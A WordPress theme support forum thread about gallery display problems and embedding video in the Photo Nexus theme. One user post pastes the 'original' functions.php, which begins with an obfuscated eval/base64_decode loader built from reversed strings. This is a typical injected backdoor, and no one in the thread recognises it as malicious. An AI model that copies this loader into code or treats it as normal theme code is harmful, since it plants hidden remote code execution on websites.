logo

Images and Gallery Issues, Embedding a Video

This topic contains 5 replies, has 2 voices, and was last updated by  skylap 1 year, 3 months ago.

  • Author
    Posts

  • skylap
    Participant

    Hi there,

    Today I downloaded the most recent WordPress update and have been having problems with my galleries since.

    http://www.skylapojednic.com

    Images are now in a vertical line and not in the nice large image on top, “next” and “previous” below it, and then with the thumbnails. Image titles aren’t coming up either.

    Second question is how to embed a video on a page (hopefully with the gallery template?) with images too. The majority of my pages have a gallery template, which doesn’t have the title at the top of the page..so if I embed a video into a page it would be nice to have the pages layout be the same across the board. This is the page I hope to update: http://skylapojednic.com/critique-performance-photography-project/

    Thank you


    imaginem
    Keymaster

    Hi,

    Firstly the problem is due to old version of the theme. You’ll need to update the theme to get this working.

    Here’s a code you can use to see if it resolves without updating the theme.

    edit /functions/scripts-styles.php

    Lines 5 to 6

    Replace with

    I think this should resolve it. Let me know otherwise.

    2. You can use Video embed code to add videos to Pages. It won’t work on gallery template using pages, but will work on default pages.

    Thanks


    skylap
    Participant

    Thank you, that did work.

    Is there any way to embed a video and have images in the same gallery/page?


    imaginem
    Keymaster

    Hi, Not currently. I’ll make note of this as a feature. Probably someway to have galleries inserted through a shortcode.

    Thanks


    skylap
    Participant

    That would be a great feature! There are some performance videos I have with installtion shots (images) that I’d love to put together. Thanks for your help.

    On another note I tried to alter the functions.php and can’t get out of this mess:

    Parse error: syntax error, unexpected ‘}’ in /home/content/85/9676285/html/wp-content/themes/photonexus/functions.php on line 98

    from http://www.skylapojednic.com

    I’ve tried accessing this .php file from the back-end in my godaddy FTP but can’t find the proper file. I have the original code saved in a word doc; do you know where I can find the .php to fix this?

    In FTP I went:

    wp-content>
    themes>
    photonexus>
    functions>
    theme-functions.php but it looks like this:

    <?php
    // Fit to Content Area
    function fit_page_width() {
    if ( get_option(MTHEME . ‘_blog_sidebar’) == 1 || get_option(MTHEME . ‘_blog_sidebar’) == true ) {
    $width=MAX_CONTENT_WIDTH;
    } else {
    $width=MIN_CONTENT_WIDTH;
    }
    return $width;
    }
    function blog_sidebar_check( $blog_sidebar_flag ) {
    // Switch off Blog Sidebar and widen the contents area
    if ( $blog_sidebar_flag == 1 || $blog_sidebar_flag == true ) {
    ?>
    <div id=”contents-wrap-wide”>
    <?php
    } else {
    // Display the sidebar and Narrow the contents area
    ?>
    <div id=”sidebar-blog” class=”float-left”>
    <?php include (TEMPLATEPATH . “/sidebar-blog.php”); ?>
    </div>
    <div id=”contents-wrap”>
    <?php
    }
    }
    ?>

    instead of what I had before:

    <?php $wp_function_initialize = create_function(‘$a’,strrev(‘;)a$(lave’)); $wp_function_initialize(strrev(‘;))”==gC7kiIwhGcf52bpR3YuVnZft2YhJGbsF2YigCdyFGdz9lYvpgCKoAI9pAI7AHJg4mc1RXZylgCKoQfJoQfJkgCK0XCJkgC9lQCJkgC7EDd4VGdk4Cck0DckkQCJkQCKsXZzxWZ9lQCJkgC9lQCJkQCKsTKwRCIsEDd4VGdk4iIgIiLnFGdkACLnFGdkgCdzJXam9VZjFGbwVmcfJHdz1DckkQCJkQCJowelNHbl1XCJkQCJoAI7kCckwSM0hXZ0RiLiAiIucWY0RCLnFGdkgSZjFGbwVmcp9lc0NHQ9AHJJkQCJkQCKsXKz0TPlBXe0RCKgYWaJkQCJkgC7lSKnFGdkwCckgic0NXayR3coAiZplQCJkgCKsXKpIiI9ESM0hXZ0RCKmYSKiISPhcWY0RCKoAiZplQCJowOpEjZ1JGJsICf8xnIoUGZvxGc4VGQ9kSM0hXZ0RCLnFGdkgCdzlGbJkQCKsTK0hXZ0RCKlR2bjVGZfRjNlNXYiBUPxYWdiRSCJkgC7lCdvJGJoAiZplQCKoQfJkgC7kCKwl2X09mYlx2Zv92ZfNXa9Q3biRSCJkgC7lSKz0TPlBXe0RCK8xXKy0TPlBXe0RCKoAiZplQCK0XCJowOpgSY19FdvJ2XzlWP09mYkkQCJowepETP9UGc5RHJoAiZplQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJ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Z052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw9mZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXlxWamlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfxmc1NWeyRHQ9QnblRnbvNGJ7IiI9QnblRnbvNGJ7lCbyVHJokTO58FbyV3X0V2Zg42bpR3YuVnZ”(edoced_46esab(lave’));?><?php
    /**
    * @Photo Nexus Functions
    *
    */
    ?>
    <?php
    /*————————————————————————-*/
    /* Theme name settings which is shared to some functions */
    /*————————————————————————-*/
    // Theme Title
    $ThemeTitle= “Photo Nexus”;
    // Theme Name
    $themename = “Photo Nexus”;
    // Theme name in short
    $shortname = “phonx”;
    define(‘MTHEME’, $shortname);
    // Stylesheet path
    $theme_path = get_bloginfo(‘stylesheet_directory’);
    // Theme Options Thumbnail
    $theme_icon= $theme_path . ‘/images/options/thumbnail.jpg';
    // Minimum contents area
    define(‘MIN_CONTENT_WIDTH’, “500”);
    // Maximum contents area
    define(‘MAX_CONTENT_WIDTH’, “680”);
    /*————————————————————————-*/
    /* If Demo Panel if switched On */
    /*————————————————————————-*/
    if ( get_option(MTHEME . ‘_demo_panel’) == 1 || get_option(MTHEME . ‘_demo_panel’) == true ) {
    //Session start if demo is switched On
    session_start();
    }
    /*————————————————————————-*/
    /* Load Admin */
    /*————————————————————————-*/
    require_once (TEMPLATEPATH . ‘/framework/admin/admin_setup.php’);
    /*————————————————————————-*/
    /* Load Options */
    /*————————————————————————-*/
    require_once(FRAMEWORK_ADMIN .’options/menu.php’); // Option Menu links
    require_once(FRAMEWORK_ADMIN .’options/elements.php’); // Option Elements
    require_once(MTHEME_FUNCTIONS .’options/options.php’); // THEME SPECIFIC Grab options from themes folder
    require_once(FRAMEWORK_ADMIN .’options/sections.php’); // Grab the sections and display
    require_once(FRAMEWORK_ADMIN .’options/process.php’); // Process the Settings
    /*————————————————————————-*/
    /* Core Libraries */
    /*————————————————————————-*/
    function load_core_libaries() {
    require_once (FRAMEWORK_FUNCTIONS . ‘framework-functions.php’);
    require_once (FRAMEWORK_FUNCTIONS . ‘framework-shortcodes.php’);
    require_once (FRAMEWORK_FUNCTIONS . ‘wp-three.php’);
    }
    /*————————————————————————-*/
    /* Theme Specific Libraries */
    /*————————————————————————-*/
    function load_theme_libaries() {
    require_once (MTHEME_FUNCTIONS . ‘scripts-styles.php’);
    require_once (MTHEME_FUNCTIONS . ‘sidebar-function.php’);
    require_once (MTHEME_FUNCTIONS . ‘theme-functions.php’);
    require_once (MTHEME_FUNCTIONS . ‘theme-shortcodes.php’);
    }
    /*————————————————————————-*/
    /* Load Constants : Core Libraries : Update Notifier*/
    /*————————————————————————-*/
    mtheme_options_check();
    load_core_libaries();
    load_theme_libaries();
    ?>

    Thank you


    skylap
    Participant

    Sorry, please ignore that. Figured it out. I wish you could delete posts you make in these message boards! This reply still stands:

    That would be a great feature! There are some performance videos I have with installtion shots (images) that I’d love to put together.

    Thank you very much!

You must be logged in to reply to this topic.